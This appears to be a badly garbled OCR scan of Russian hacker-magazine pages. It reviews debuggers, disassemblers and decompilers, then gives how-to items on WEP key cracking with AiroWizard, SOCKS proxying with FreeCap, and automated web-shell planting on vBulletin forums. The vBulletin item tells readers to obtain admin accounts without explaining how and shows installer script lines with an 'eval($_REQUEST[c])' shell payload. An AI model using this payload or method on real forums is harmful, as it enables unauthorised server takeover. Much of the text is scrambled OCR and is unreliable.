HO NOCKOnkLKY cTabuibHol pabotoin oH noka
NOXBACTaTLCH HE MOKET, Crelly NpefynpeanTs:
WCTIONb3YiA «BeTky» Ha CBOM CTpax v puck

Immunity Debugger ¢——

www.immunitysec.com/
products-immdbg.shtml
Knaccheiit Mog OllyDbg oT nasecTHoi kamna-
HWK, creynanusvpylollencs Ha GesonacHocTy.
CaMmblit M3BECTHBIF 88 NPOAYKT — GpeiMBopK
CANVAS — nanwcan Ha Python'e, nostomy
HeyausuTtensHe, 4to 8 Immunity Debugger
pebaTta ckpecTinun niobumyic Onbky 1 MHTEp-
npetatop Python. Mmea B apceHane unterpu-
POBEHHBIA CKDUNTOBBIM S36IK, Thl, HANpUMeP,
MOMXELLb OTCAEXMBATL 3HAYEHWA NEPEMEHHLIX 1
SBTOMATNYECKM BBINONHATE E1le KaKUe YrogHO
[EeWCTBUS, 4TO B KOHEYHOM WTOre ynpoLlaeT
nouck 6aros U cokpylwenne 2awut. Immunity
Debugger's Python APl yxe skniodaet B cebs

-
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PHElAY lemiwhcPkbz

2 pe_exportoy
2 recviockpy

= safeseh.oy

7 stmepy_heck.py

cover_anaivsis
| Jexsmple

| e

| Dinfoed

~ davesearch.py
@ ditest.py

Flename. |

Open
Fescttpe. TV R -| _ Cc

Arguments: |

3ATPYXXAEM CKPUNT HA
PYTHON'E BIMMUNITY DEBUGGER

Maccy nonesHbix YyTMAKMT W GYHKLWIA, cneumn-
ankHo 3aTOHEHHbIX ANF Xakepckux Hyxa. Baats
xoTs Bkl searchorypt.py, KOTopEIR 0TAMYHO
NOEHTUOUUMDYET crenyiomne Kpuntorpadpuye-
ckne anroputMmbl: AES, BLOWFISH, CAMELLIA,
CAST, MD5, RC2, RC5, RIPEMD160, SHAT,
SHAZ56, SHAS1Z. Nobow 3 ckpunToR MOxXeT
BbiTs uHTErpuposan & Onbky Tak, kak byaTo

OH M3HAYaNLHO ABARETCA ee YacThio. CkpunT
MOXET OTKPLITE OKHO, COCTABUTL Tabnuyky

v paxe noctpouts rpad dyHkuwmi (na-pall
NOBBIMA NOCTYNHBIMI MY AaHHbLIMU.

Hapo ckazats, yto Immunity Debugger
4ACTEHLKO MCMOML3YIOT CneynaniucTs no bezo-
nacHocTh, Bulknagsieaolme proof-of-concept
expolit'sl, HanucanHsle Ha MuTone 1 Npea-
Ha3HAUeHHbIE 5 paboTel UCKTIOUYMTENLHO B
CpeAe @HHoro oThag4mKa.

SoftICE

google.com :] <
Bcem n3secTHbIi [aaxe TeM, KTO K KpAKMHTY
naxe BAW3ko He nogxoawnl oTnaguuk ans
Windows, paboraiownii Ha ypoeHe aapa. B
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Crestefiled [(ET=12.B% see

JIETEHOAPHbLIM OTITAOYMK BCEX
BPEMEHWHAPOJI0B

oTnKYMe OT NPUKNAaAHsIX 0TNaA4MKoE [Kanpu-
mep, OllyDbgl SoftiCE cnocoben npuocTaHoBUThL
gce onepaumnk B Windows, 4T0 04eHL BaXHO
4 oTnajaku gpanisepos. lNpora pabotaet 8
obxon MS Debugging APl v Takum obpasom
3HAYMTENLHO YCNOXKHAST aHTMOTNAaKY, 0gHa-
KO, YYMTLIBaR, YTO 418 pa3paboTynkoB 3awuT
SoftICE — spar HoMep 0flMH, NpakTMYacky Bce
NPOTEKTOPLI MErKO Pacro3HaloT ero NpUcyTCTBUE
g cucteme. [oatomy HUKak He obolTucs bes
crneuranbHeX paclunpeHiii

SoftICE Bein nepeoHauansHo pa3paborak Kom-
nanuel NuMega, koTepas BKIOYaNa ero B NakeT
nperpamMm 4ns beicTpoi paspaboTki BeICoKo-
NPOWU3B0AMTENLHbIX NPaABERCE NOJ Ha3ZBaHWeM
Driver Studio, u Bnocneactsun nprobperen
koMnanuer Compuware. [oMHULE, CKONBKO
BCEBO3MOXHbIX MaHyanoB 6610 No NOBOSY yCTa-
Hobri SoftiCE'a nog Windows XP? YB&l, HaunHas
C BUCTLI, OTNAAYMK B CUCTEME HE 33BefeTcs.
PazpaboTtymkm nprocTtaKosunn pazpaboTky 8
anpene 2006 rofa. Ha opuumansHoM calte ero
HEe HaNTK W OH JOCTYNEeH TONBbKO Ha TOpPEHTaX.

Microsoft Debugger €
http://www.microsoft.com/
whdc/devtools/ddk

Ins otnagky camol BuHAs Microsoft npep-
naraet Wcnonb3oeats ceoi Habop yTu-

nuT — Debugging Tools, B koTopuIv BXOAMT

OTNAAYUK OT MICROSOFT

D00
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oTnaguuk Microsoft Debugger, a Taxe SDK,
BKIOYaOWas B ceba gokymeHTal Mo, 3aro-
NOBOYHBIE Ganis!, DUBNMOTEKWM U HECKONEKO
MPWMEPOR TOTO, KAK HAA0 MUCETh MIarkHkL.
HenocpencTBEHHE OTNaAYUK BXOAWT Elle U B
Habop gna paspabotku ppanisepos — Windows
Driver Kit [beigwui Driver Development Kit unm
DDK)

Microsoft Debugger moxeT paboTaTh kak Ha
nprknagHom yposHe (T.e. ring-3), 1ax 1 Ha
ypoBHe gapa. [puuem gonroe Bpema anepHas
oTnafka TpeboBana, Kak MUHVMYM, OBYX MaLL1H,
coegiHerHelx COM-wHypkoM — Tenepb gocTa-
TOUHO OAHOM. [TPUSRTHO BLE 1 TO, HTO OTA3AHMK
NoANePKUEAET BCe caMsle cospeMentblie OC ot
Microsoft, a Takxe x64-DUTHbIe NNaTHOPMEL
Microsoft Debugger noctaesnseTcs 8 AByx
penakumnsix: windbg.exe — rpaduueckuin nHTEp-
delic u cdb.exe — nHTepdeic KOMaHAHOK
cTpoku. W To 1 apyroe saensaeTca obepTkamu
sokpyr dbgeng.dLl, 8 koTepoi, cabeTBerHO, 1
PEaNM30BaH OCHOBHOW OTNEA0UHBIA ABMXKOK 1
LOKYMEHTUPOBEKHLIA NpoTokon obMeHa.

Syser Kernel Debugger +—
www.sysersoft.com

NocTofHsIX OTNan4MKOB S4pa BCEro TPK:
SoftICE, Syser n Microsoft Kernel Debugger, Ho
SoftICE He pabotaet Ha Bucte n Server'e 2008,
a Microsoft Kernel Debugger — nnsa xaxkepckuix
Leneil He cambli nydmi BapradT. OctaeTcs
Syser, KOTOpbIF X3KEDLI 839711 HE BOOPYXEHKe
1 BECBMa AKTVBHO WCNONbL3YIT. HanucaH oH
LBYMS NPefrnpruMUnBLIMN KUTERCKAMW pesep-
cepamu Wu YanFeng 1 Chen JunHao.

Mo ceoel cytn, Syser — 370 OTNEAYMK YDOBHA
fApa € rpafuyecKnM CKOHHbIM MHTEPQEN-
COM, NO3BONAKLWMIA OTAAKMBATE KaK Npu-
noXeHus, Tak U gpaieepa. I1a M3yMnTENLHASN
npora coveraer B cebe dyHkymm kak DA Pro,
SoftlCE, Tak u OllyDbg. Syser noggepxusaeTt
NoACBETKY NMCTUHTa Au3accebnepa, anHamun-
YECKYIO 3arPy3Ky W BbITPY3KY, BCE KOMaHAb!
otnapumnka SoftiCE, nonHoueHHye patoty ¢
HOHWKOLOM 1 MHOTOTIPOLECCOPHBIMA CUCTEME-
Mu. [1popaboTasbl MHOMWE MENOYM: HanpuMep,
koppekTHo paboTaeT Bydep obMmera, No3sonsio-
LW# KOMMPOBaTh AaHHsie 13 yposra Ring 3 B
ypoBeHb Ring 0. MHorue 13 onepaumii MoXHO
SBTOMaTU3WpPOBaTb € MOMOLUbIO CKPWUMTOB.
Hapo ckazate, yto Syser — npeemuuk SoftiCE,
M3 KOTOPOrD, Kak rosopaT, Beiny AepHy T
Lensie Mogynu. ¥ Hero Macca NperMyLLEecTs,
KaK, BNpoYem, Macca Hef0CTaTKOR, Mo3ToMY,
peant:Ho erc NPUXoAWTCS 1038Tk COBMECTHO C
Microsoft Kernel Debugger.

GDB <
sourceware.org/gdb

GNU Debugger — ocHoBHOW oTnanumk nog,
UNIX, nogpepxuBaiowimnii oTAanKy MHOTKX
A3LIKOE NPOrpaMMiposanis, B ToM yucne Cu n
C++. B noctagke no yMon4aHWio rpapuyeckui

E e B donie 3 Vi (9 Talirrion 5 Tois_ e 52
e o I 3

Ear

s Eaplorse CorlV] gbimgibinss

OTNAOQYUK AOPA CTPADUYE-
CKUM UHTEP®EWCOM

nHTepdeic He NpefycMOTPeH, HO CyllecTByeT
[OBOJIbHO MHOTO lTJpDiITEH,D,DB, B TOM Yucre
Xxgdb [en ], DDD

‘ {], KDbg |

|. Otnaskusats

[ ‘
1], Xcode (devel
C Er0 MOMOLLBI0 «YECTHbIE® NMPOrPaMMbl — DOHO
yOoBONLCTBME, HO B NNaHe aHTnoTIaaku nena
obcToar nnoxo. GDB faxe He NuiTaeTcs conpo-
TMBNATLCH W pabotaeT Yepes bubnwoteky ptrace
[koTopan Ha camom gene Hukakas He bubnuo-
Texa, a cucTeMHbIi Bei3og). Lpyrvmi cnosamu,
GDB npuHumMnnansHo HecnocobeH oTnaxmBaTh
rNporpamMmmbl, KOTOpbIe He XOTAT, yTobhl WX 0TNa-

2KiBanun.

EctecteerHo, nomumo GDB cywecray-

OTNAXUBAEM POy Nnoa HUK-
CAMU

10T 1 APYTWUE OTNEAUNKM [INA HUKCOB, HEaNpUMep,
Linice [
noptT SoftICE'a nog Linux.

) — HeoduumranbHbii

IDA Pro _
www.hex-rays.com/idapro
IDA Pro — 270 04HOBPEMEHHO MHTEPAKTUEHbIN
ow3accembnep u otnaguunk. On no3sonset
npeBpaTWTL buHapHbIM Kog NporpaMmsl B
acceMbnepHsI TEKCT, KOTOPLIA MOXET DbiTh
MpUMEHeH Ons aHanwsa paboThl NPUIOKEHNS.
lMpaBga, cTouT cKasaTb, YT0 BCTPOEHHbLIW ring-3
OTNaA4uMK 0OBOLHO NpumMuTuBeH. OH pabo-
TaeT yepes MS Debugging API (8 NT] v yepes
Bubnuateky ptrace (8 UNIX), uto genaet ero
nerkon gobbiuer Ang 3aUWMUTHBIX MEXaHU3MOB.
Ho 3ato IDA Pro — 370 guzaccembnep bonee
UeM C JEeCATUNETHEN UCTOPUER, NepBas Bepcus
koToparo yeugena ceeT 6 Mas 1991 ropa. Kpwia
XapaoH emecte ¢ Vinsdakom navanu pabotaTs B
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ey = (HKEY)sub_d4834AE1
\zhile (558 %

trs(8
eteValuea!

return

PE3YJIbTAT OE-
KOMIMWITUPO-
BAHUA B C-Ko[
CMoMoLLBH
HEX-RAYS

IDAPRO3APABOTOM
TOM HaNpaBneHnn, Kyaa ele HUKTo He BKNaAbIBaa JeHbri.
Yepes HECKOLKO NET NapHAM YOan0Ch PELNTE NPEKTYecky
Bce dyHaaMenTansHele npobnemst fusaccembnuposanns,
Haf KOTOPLIMM NPOCTO He X0TeNu paboTaTs OCTaNkHbIE pa3-
paboTumnkm, 3Has, 4To BeICTpOK oTAa4M He BydeT U npoexT
noTtpebyeT gecaTuneTui ynopHoro Tpyaa. K nstol Bepcuu,
IDA Pro sbinofiHs1a aBToMaTHYeckyio AeKoMnunauno Ha
CaMOM BLICOKOM YPOBHE, UCMOSb3YA NepekpecTHLIe CCbif-

1, 3HaHWe napaMeTpoB BbI30BOB GyHKUMIA CTaHAapPTHLIX
bubnuotek n apyryia nidopmaluio. Ho caman rmaBHas
ULIKE — 3T0 MHTEPaKTUBHOE B2aVMCOAEWCTBME C MoNb30Ba-
Tenem. B Hauane uccnefosanus qusaccembnep suinonHaeT
aBTOMATUYECKWI aHanu3 NporpaMMel, a 3aTeM MNosb3oEa-
Teslb C MOMOLLLK MHTepakTueHelx cpencts DA HadmHaer
[13BaTh DCMbICIEBHHBIE UMEHE, KOMMEHTMPOBATE, CO3AaBaTh
CNOXHbIE CTPYKTYPLI AaHHBIX 1 ApyriiM obpa3omM fobaBnsTs
MHGOPMaLIMIO B IMCTUHT, reHepUpyeMsli An3accembnepom.
BriobneHHbie B MpoaykT noss3osaTenu paspaborany Hemano
MONE3HBIX MNAMMHOB, B TOM YWCe NOAASpKUBaKLKX

PasHble CKPUITOBKIE H3bIKK A9 HANMCAHUS CLEHAPUER B
gononHeHue k sctpoerHomy IDC. Hanpumep, [daRUB (v

¥ | b] poBasngaer nogaepx-
ky Ruby, a IDAPython | | — noa-
nepxky Python'a. Tyt Hago ckasate, YTO, HaYWUHAR C BEpPCUN
5.4, nononHexwe |DAPython uaer npegycTaHoOBNEHHbIM B
cam guctpubytus DA

d

Hex-Rays ¢
www.hex-rays.com

Mocne ycnexa IDA Pro pazpabotunky nogymani v pewani,
4TQ YoK Pa3 OHW HAYHUNMCh NOAYYATh YBAGBEYECKMI KOJL HA
accembnepe, To HENNOXO AONWCATL ELLE OAHY gudy, nepe-
BOAALLYI0 acceMBnepHyio rpaMeTy B LOCTYMHbLIA U NOHATHBIA
ANCTUHT Ha #3bike Cu. B nTore Ha ceeT noaeunca Hex-Rays
— Jexkomnunarop, Tpebyoiui oba3aTenbHo YCTaHOBAEHHYIO
Ha komnbloTepy IDA Pro. [JekoMnuasTopy NogaeTcs Ha BxXoj,
BUHAPHMK, YKa3bIBARTCA P NapaMeTpos, nocne yero Hex-
Rays BeinnessiBaeT MCXOLHMK Ha YUCTOM C — B BonbLUWH-

> warning
* BeanHbopMauma

npepcraeneHa 8 ob-
D330BaTENbHbIX LIENAX.
MMoMHM, 4TO pEBEPCUHT
MPUAGKEHWIA W, TEM
bonee, ux B3NOM nona-
AaTnoa ctaten YK

| DVD

r dvd

Te yTUNUTHI, KOTOpPbIE
MOXHO CB0BOHO
pacnpocTpaHsaTh, Tl
Halgelb Ha HalLeM
DVD-awcke.

» 040

OU3ACCEMBEPHbIA TUCTUHT WINDBG

—_—

URSoft W32Dasm Ver 8.93 Progra

il

File Edit Options Debug GoTo PE Information

Help

|||~

Oaxta
BHex

=lal x|

OLG
mier

Sten
mker

Meny
mfer

]

ut

Line:3 Pg 1 of 2264 File:C:\LZWalker\Unpacked.exe
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Clsme i Uritsldo P

Ui o Cless Norws

Ura? TForm]
Evert = W Het
(o COCFT W
BusterCich. AFEA s
Button3Cich COAFES0 oot
Dubtorrt k. OM4FEDL ooty

Resdy 3iec Frejecti e 301568 trtes

JEKOMMUNWPYEM NPUNOXKE-
HWUA, HAMMCAHHbBIE HADEPLHI/
CBUILDER

[ VBDECOMPILEROT ABTOPAI[

CTBE CBOEM MOHATHLIA U pocTynHbli. Mpaeaa,
crelnTb KOMTWIMPoBaTk ero obpaTtHo B
BUH2EHWK HE CTOWT, NOTOMY Kak B BO/IbLUMHCTBE
CAYHEeE B MOMEHT KOMMAUNSLMM Thl YBUAKUL
CTONEKO OWNDOK, CKONBKO eLLe He BrIbIBa.
OpHa W3 NpUYKMH — OTCYTCTBKE NOAREPXKKA B
Hex-Rays pecypcos.

W32DASM

OTnuYHKIA nM3accembnep, yaolHbIM M NOHAT-
HeI. HaBop dyHKUWIA, C ToYKKM 3peHmsa npodec-
CUOHENa, I0B0NEHO OrpaqHinHeH, na 1 soobie,
ero nopa OTHECTWU K MHCTPpYMeHTam 13 npownaoro
Beka, Ho HeT... W32DASM BelgaeT xopollnia
NUCTHHI, W 0173 HOBWYKOB ABAAETCH OTNYHbIM
BapuanHToM, 4Tobbl NoHATL 1 pa3obpaTsca, yTo
K 4eMmy. KTOMy XKe, MMEHHO Ha 3T0T gM3accemM-
Bnep asTopbl ONMPaOTCH B MHOMOYMUCNEHHLIX
MaHyanax ond HOBMYKOB, B TOM YWCNe B HalleM
HOWTO nnsa HaumHaowyx «KpakuHr — 31o
npocrto» (#80 3z, craTes B POF Ha Hawem
ouvcke).

DeDe <«

HauuHatowme xakepbl 00LIMHO VCMBITLIEAOT
BonblIMe TPYAHOCTU NPU B3NOME NPOTPaMM,
Hanucarteix Ha Delphi v Builder, nockeone-
Ky Knaccuueckue Tpiokm, Tuna bpsika Ha
GetWindowTextA, He paboTaiT. [Ing gekomnm-
nauuu koaa, Hanucanroro Ha Delphi/Borland

BLINOAHAEMBIN native-kogd. NET cBopxu Bceraa
KOMMMAVPYITCA B KOMMOUIMPYEMEIR B Npauecce
3anycka |L-kog. Yo Takoe VB Decompiler?

370 pexkomnunatop nporpamMm [EXE, DLL,

0CX], HanwcakHbix Ha Visual Basic 5.0 n 6.0,

7] AMEBCCEMGHEP fporpamm, HanWUCaHHbIX Ha
nobom uz azsikoe NET TexHonoruw. Tak kak
p-code npeacrasnseT cofioi BLICOKOYPOBHEBLIE
KOMaHbl, TO MNOABNALTCA PEANbHas BOIMOX-
HOCTb BOCCTAHOBKMTE W3 3TOM0 KOOA MCXOOHMWK.
E,D,MHCTEQH\-IOE ynyweHue 33KNIYaeTCH B
HEBO3MOXHOCTH BOCCTAHOBUTE KDHerTHbIC
KMEH2 MEePEMEHHBIX 1 HEKOTOPbIX OYHKLWA.

VB Decompiler BoccTaHaBAWBaET MCXOAHbIA
Ko M3 NCeBgokcia MakCMMaibHO 6I'W|3KD K
OPUIMHEIBHOMY: 1pW HekoTopsix dopabaTkax
£ro peanbHo JOBECTA 10 KOMMNWIMPYEMOTO.

Ot native-xoga nofobHOM WeopocTy Xnate

HE MPUXDLMTCH, HO W B aToM cnydae VB
Decompiler momoxeT npoaHanmanpoBaTs Npo-
rpammy. Ecnu npunoxedue beino co3gaHo B
cpepe .NET, pekoMnuasTop NOAHOCTbIG BOC-
CTAaHOBWT CTPYKTYpY Tabnuy cbopku, a Takxe
Bynet nonezex ana guzacceMbAUpoBaHna 1
ananuaa |L-xoaza. [puMeyaTensbHo, YTo NpoeKT
MOJHOCTEID HANKUC3H CAHWM M3 HALWWX aBTCPOB
— GPCh.

C++ Builder, T.e nporpamm, KoTopbie MCMNOMb3Yy-
toT BubnuoTeky VCL ot Borland, Hyxer cneuyn-
ankHeli NOOXod, M OH Pealin308aH B yTUnuTe
DeDe.

Mo cyTu, 370 eAMHCTBEHHBLIA pabioTaluui
nekoMmnwndatop ana npunoxexvii Ha Delphi,
KOTOPLIE HECMOTPR HW Ha YTO He YMWUPaIoT.
ApTop npoekra DaFixer, k coxaneHuio, Bpocun
38HMMaTLCS CBOMM JETULLEM, NOITOMY OdU-
UManbHoW CTPaHKLb! ¥ NPOEKTa B HACTOALLWHA
MomeHT HeT. [NogpobHee o ToM, Kak COBNaaaTh
¢ nporpamMmamu Ha Delphi, ynTall B cTatbe
«Banom BopnaHouv: M3awHas SeKOMITUIALNA
Delphi» (PDF-Bepcro Matepuana Tl Halgews
Ha pucke).

VB Decompiler
www.vb-decompiler.arg

Mporpammel, paspaboTaHxsie Ha Yisual

+—

Basic'e, MmoryT GuITs CKOMIWAMPOBaHbI
nbo B MHTEPNpeTHpyemebld p-code, nube &
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HABOPYTUNWUT PEEXPLORER

1@ P w35 =

e ——— —
| File: |D:\C51.6\CS1.6%.exe

|Ehu—ma‘nl: 00003811 EP Section: | .text =]

| Fie Offset: (00003511 FistBytes: [SSEBECEA ||

Subsystem: |Win3z6ul | > 1
|
|
|

| Linker Info! (5.0
Microsoft Visual C++ 6.0
MatiScan | | TeskViewer | | Opbons | | bout || Eat |
| ¥ stayontop ][]

YEMYNAKOBAHO MPUJIOXKEHME?

PEID ¢
peid.has.it

TTioB0oR KoMMEPUECKUHA NPOAYKT fomkeH BbiTs
¥OpOLLO 3alpiien. Pa3paboTumnky HaMepeHHo
WCNONB3YET BCEBO3MOXHDLIE YNAKOBLLIWMKK M TaK
Ha3bIBAeMbIE NPOTEKTOPE!, KOTORsIE NPUMEHSIOT
Da2HOT0 POAA GHTUOTNAReYHBIE CPEICTEE, MaK-
CHUMaNEH0o ﬂpEﬂHTCTEthLLlME B3N1OMY Mparpa MMbI.
OBONATH KX MOXHO, HO 1S 3TOTQ HY»KHO YeTKo
NPeACTaRNATE, YTO UCNCN630BAN0CH /15 33 WUMTH
MPUAGKEHUS W KSKOIA MABTUH 19 OTNAAYMKS CMO-
eT 3Ty 3auuty obortk [ecnun He BpaT B pacyeT
pyYHYIo pacnpasy ¢ sawuToi). MzawHo onpene-
NWTb HAa3BaHME ¥ BEPCUIO YNaKosLLMKa cnocobra
HeBonswan yrwavra PEID [peid t).

PE Explorer ¢
www.heaventools.com
[TporpamMma Ans NpocMoTpa 1 pesakTMpoBaHka
PE-¢daiinos — Haumras ¢ EXE, DLL u ActiveX
KOHTPONOE W 3akaH4MEas cKpUHceisepamu SCR
[Screensavers), annnetamy naHenu ynpaene-

Hug CPL, SYS 1 BuHapHykamy Ana nnatgopMel
Windows Mokile. o cytu, 370 He ofHa yTWnTa,

a yenbii Habop Tyn3 ans Tore, YTobbl NOCMOTRETE
W3HYTPW, K2k paboTaer nparpamma unn brubanoTe-
Kka. BriouaeT 8 cebs NpocMOTPLLMK 38roNnosKos,
3KCMOPT BbI20B0E AP|-dyHKLWIA, peaaktop pecyp-
coB 1 gu3accembnep. 3¢

Address of Entiy Point: 00447380 4/ Reallmage Che 3| & || e
b Sl = TimeDate Stamp - 46410DF7h [08/05/
3 ; Ver : 0.0
Field Name Entry Point  Ord DIl Name | Garones
| Macl 004DB735h 13| Ewported Functions  : 570
Number of Sections 008CA724h 14 | Exported Names : 570
00BCCBBSH 15 | Pointers to Entty Point : 00157FBSh
008CCI66R 16 | Pointers to Name : 00158840k
U B X D D Q [ poapaFpan 17 | PointersloOrdinal  : 00159188h
+ lcon Entiy | 0D4DAFEBH ?0rsHecl@@OAEEABLInsE
- A &/ Menu: 106 004DB00BR 19 220nsRect@@OAE@HHHHEZ
o - Library description: Desciiption not available
=8 [ e Help ‘
o= Synlax Delails
o= 108 | Standard = —
= 109 o Undeccrated C++ Function:
%_:-'il Scientific public: _ thiscall nsRect::nsRect(struct nsFo
¥ ialog
+ | Sting Digit grouping
+ Accelerators H | @
=11 firefox.exe
I3 is3250.d1
B speom_core.di
B nspradi

> 041
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3AJAYA: ABTOMATU3NPOBATb
MPOLIECC 3ATPY3KH LLUENNA
HACEPBEPYEPE3 VBULLETIN

PELLEHMUE:

YacTeHbko Ha npoctopax CeTi 8cTpeuaioTes BaxHeie opyMbl, Yepes KoTopble Nopoil
0YEHS XOUETCA 3aNUTS LWenN, Aabsl 0BpecTy NoNHoLEH B focTyn K cepaepy 1.
[Tonynapreii dopymHelit aeurvBulletin aka Gynka — He ucknioyenue. 3aAuTs Wenn
yepes afiMMHKY cero NpoAyKTa 4oBofLHO NpocTo. [ing atoro crefyeT:

1. ToyMeTk afgMMHCKMI aRKXayHT (TONBKO HE CIIpauMBai
«KKAK?»)
2. BanmoTMHUTECHE B aOMITHEE

. NoGaBMTE HOBHM MOAYE ¢ TEIOM HAmero mema (He bonee 60 K6)

OaHako, Koria BaskHbIX QOPYMOE MHOTO, 8 BpEMEHN — MaNo, PasyMHee 3a/neats
Lennsl B aBTOMaTMYeCKOM pexyime, BNaro, CneunansHo Ans 3Tux Lenei buin Hanu-
ca «vBulletin shell installer» ot Tosapuiwa DeusTirael. Bee, uto o Teba tpebyerca
— M0ANPaBWTL Napy CTPOK B KOHKIe CKPUNTA, 8 UMEHHO:

[

Slogin = "admin"; NOTHE amaHa dopyMa
SC

passw = "password"; Mapoik agMrHa QopyL

! = vb_plugin_add.php - Bnoksor

Mavin Mpaeka ©opMat Bua Cnpaska
k?php ~

/uuwuvwwvwﬂvuwwvwwvwwwvwwnkuwwﬂvwww\

wuw vBulletin shell installer bl
KN coded by DeusTirael Yt
R for pamaGelLaB.orG L
P wwen

for education purposes only
\vvﬂuwnvwkwvwvwwvwkuwkwwnvwnwkuwkv‘/

“admin";
..123..

// admin login
yoa amin passwnrd
or CpSESSﬂOﬂ cookie
http //test'lng/ub?/adm‘mcp/‘mdex php";
;:ﬂug‘ln plugin title
evﬂ(os _REQUEST [c]); ';

$pasSsw =
||$cookies
|{$admincp
$pltitle
$shellcode =

V4
// shell PHP code

admincp Tink

$admincp = substr($adming

Fap_ o H
SURL = parse_url(§admincp);

, 0, strrpos($admincp,

|Ifunction send ($data) {
| global SURL;

Ynobheii wenn-uHctannep ana byakm

Scookies = ""; //

KYKHM

Sadmincp = "hettp://blablabla.com/vbl/adminep/*; //

http-muuExr 1o aoMrEEH
Spltitle =

S$shellcode = 'eval (B5_]

"plugin®; // plugin title

REQUEST[c]);"; // kop nxii-menna

F.5. Ckpuntycnewno pabotaetc vBulletin 3.5.%.

3A0AYA: CEPYTUTb WEP-KJIHOY, UC-
Nnonb3yAHOYT CBUHAOU

PELLUEHUE:

Eciv Tl 3aHUMaeLWbCA BapApaHEMHTOM He NEPBbI [eHb, TO HABEPHSKA 3HAKOM
CTakoi nonynapHoi yTunoi, kak Aircrack. Cywectsyet ynobHas obonoyka
AN NaHHOI Tyn3sl nof Hassanren AiroWizard, koTopas npefcrasnaer coboi
MOLHBIA MHCTPYMEHT INA 8431133 35LLUILEHHOCTH BU-OW ceTell. Ketatu roBops,
AiroWizard peanu3osaHa kak pa3 nog BMHAY 11 06NafaeT, kak Thl yxe foragancs,
Ty HBIM AHTEPDERCOM :). AHENN31POBATE CETU C NOMOILLBIO YTHMEI HECIIDXKHO,
anropuT™ TEOUX LeRCTBUIA Hixke:

1. CnuBaeM

TYN3Y C HalleTo OUCKa, MHCTargmM, 3allycKdeM

2. BriwuasMm alnaliTep, CHOTPYIM JIVICT doalTepoB B YTHIIE M B};T-’:‘Hpae[i

CBOJ; €CnM CHMCOK MycT, nubo KapTo¥ka OTCYTCTEYET — CMENO MY
«Tefresh»; ECn ¥ 3TO He NOMOTaeT — 3HAYMT TROU ajgarnTep He non-
Iep¥uBaeTcd codTuHoH : (

Air

3. Tocne subopa apanTepa wMeM baTToH «Start

LServ-

ng» Ha

BKNanxe «Monitor Mode»

4. Teneps zamycraeM yTuny Airodump-ng B pes

BrNgnke «Monitor Mode»

5. HabnonaeM 3a XOZOM CKaHMPOBAHMA 1 ONDEIENReM HYEHYED TOYKY

6. BamyckaeM Airodump-ng ¢ HYEHEMM HaM TapaveTpami: SSID, MAC

M YKa3HBaAeM VMA JaMia g 3armici CDE[}&HI[E\[}( IIaKeTOB; BCe 2T0 Ha

prranke AP details and Airodump-ng

b 042

AiroWizard 1.0 Beta revision 250 l=d

Introduction  Adapter List and MAC Changer  Monkor mode AP detais and Airodumip-ng | Authentication and packst replaylinjection. | WEP crack) 4 | »

1F you wish, you can enter the target AP detad lly, and start Arodump-ng. th AP,
i
4
Write IvS only
Hep || Ppanict
Axanuznpyem WEP
7. llepexomm B pazgen Authentication and packer replayh

injection ¥ MoCneNOBATENEHO BHIONHAEM BCE HEOOXOOUMHE MEMCTENA

8. CobupaeM He MeHes 40K MakeToB M MPUCTYIIAEM K BpyTy WEP-Kmoua

Ha BEIagxe WEP crack\recovery

BoTw BCe, - CNWCOK Noaepx1BaeMelX aflanTepos Tal MOXKeLlb HalTH B CaMon
yrune. Kpome BCera npodero, Ty138 nozeonaet wameHats MAC-agpec apantepa
nap0M KAYKOB MBILIKM <.
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3AJAYA: MEPEHANPABUTD .
TPA®UKC YKASAHHBIX NPUNOXKEHUNA
HA COKC-CEPBEP

| PELLUEHME:

| Mcnonb30BaTh XTTN-NPOKCHKK BCRIAa W BE3e He o4eHbynobHo, a nopoi —
HEBO3MOXHD, BCIIW NPUIOKEHME He NoafepxueaeT paboTy ¢ NpoKeKH/cakcamu.
Brixof oauH — NepeHanpaenaTe TpaguK Ha COKC-CepBep, To eCTh 103aTk
cokcuduratop. Opra na nyywmnx codrit nogobroro popa — Freecap. Tynaa
npefcTaBnaet coboit knaccuueckuin cokcndrkaTop, ¢ BOIMOXHOCTLIO NMOCT-
POBHMR LIENOYEK COKCOB, C NOAAEPXKON Coked/S n, k ToMy e, BecrnatHbii -,
HacrpouTs yTuny ans pabotel BecbMa NpocTo:

ero gucka, mbo ¢ odcanTa —http://

eeqap.ru

WiIH M HoBaBiseM NpWICKSHNs, Tpaduy

2. DTKpHBaeM TTIaBHOE

C KOTOPHX BYHeT nepeHanpaeiaTaCs Ha COKC-Cepeep (HaupuMep,

bpaysep, acm, bpyTep, et

3. Bufupaew pazzen «Hac K

4. Bo Binajre «HacTpOMKM NMPOKCH» YKa3uBaeM IP-ampec ¥ OopT
cokC-cepBepa (nommepEuBanTcs coxced/5)

5

M XOTHM CO3IaTh LENoYKy COKCOB — NepexonnM Ha BEIAIORY

CH» M OTMEYdEeN

«llenouxa np S IOUKaMy. Te COKCH, KOTOPHE XOTHM

HCIONL30BATL B CBOEH LEeno

MORHOCTD BKIDYUTE J10—

6. Ha BKNagke «HacTpoiKa EYDHalIa» ecTh BC

THMPOBAHNE, 4YT0 NEeIalh HE DEKOMEHOYETCH [0 TMOHSTHHEM NDUHMHAM : )

Hacrporisu

CokcuduumnpyeM npunoxeHmns

Hactpoist npokci | Hacrposis npoxey | Uenowsa mpaxest SocksShate | Mpavwe cosptersn | Mporpaa | Hacr o[ |
Uenouxa nparcu
SOCKS Share i w
i imense. (A
(porpeeina Tpoxcy no ymosraHs
Haorpdiimpram Cepeep Nopr
Mporaxan

) SOCKS Version ¢

(& SOCKS v [[] Tpetyerca seropusausa
ABTopussL =

Tare -

MNapons

CJHTTP npoxeu
ABTOPUIALEA
Norus

Napons

o] (e ] e

Momots

7. Ha sxnagxe «lIpAMEe COeIMHEHMS» MOKHO N0OaBUTE MCKIDISHNA —
IP-anpeca, ONs KOTOPHX COKCHMbMKauMs He Tpebyercs; B 3TOM clydas
coemuHeHne By meT T HalpsaMyn, MMHYS COKC-CepBep

8. Mocne Toro, KAK BCEe HAaCTPOEHO — LEeNKaeM NpaBoi KHCIKOH
1o MKOHKEe B Tpee n EHEL{pa&M IIpUIICKEeHNMEe , KQTOROe XOTHM 3a-

YCTUTE )

BoT, cobcTBEHHD, U Bee. AHoHuMHo o BeB-cepdutra Tebe :.

0 3A0AYA: ABTOMATU3WPOBATb IPO-
= LECCNMOUCKAEBAIOB B CYB[, ORACLE
PELLUEHME:

Ha ctpanuuax xyp+ana mel He pas nucanu npo ananus MySQL n MSSQAL-

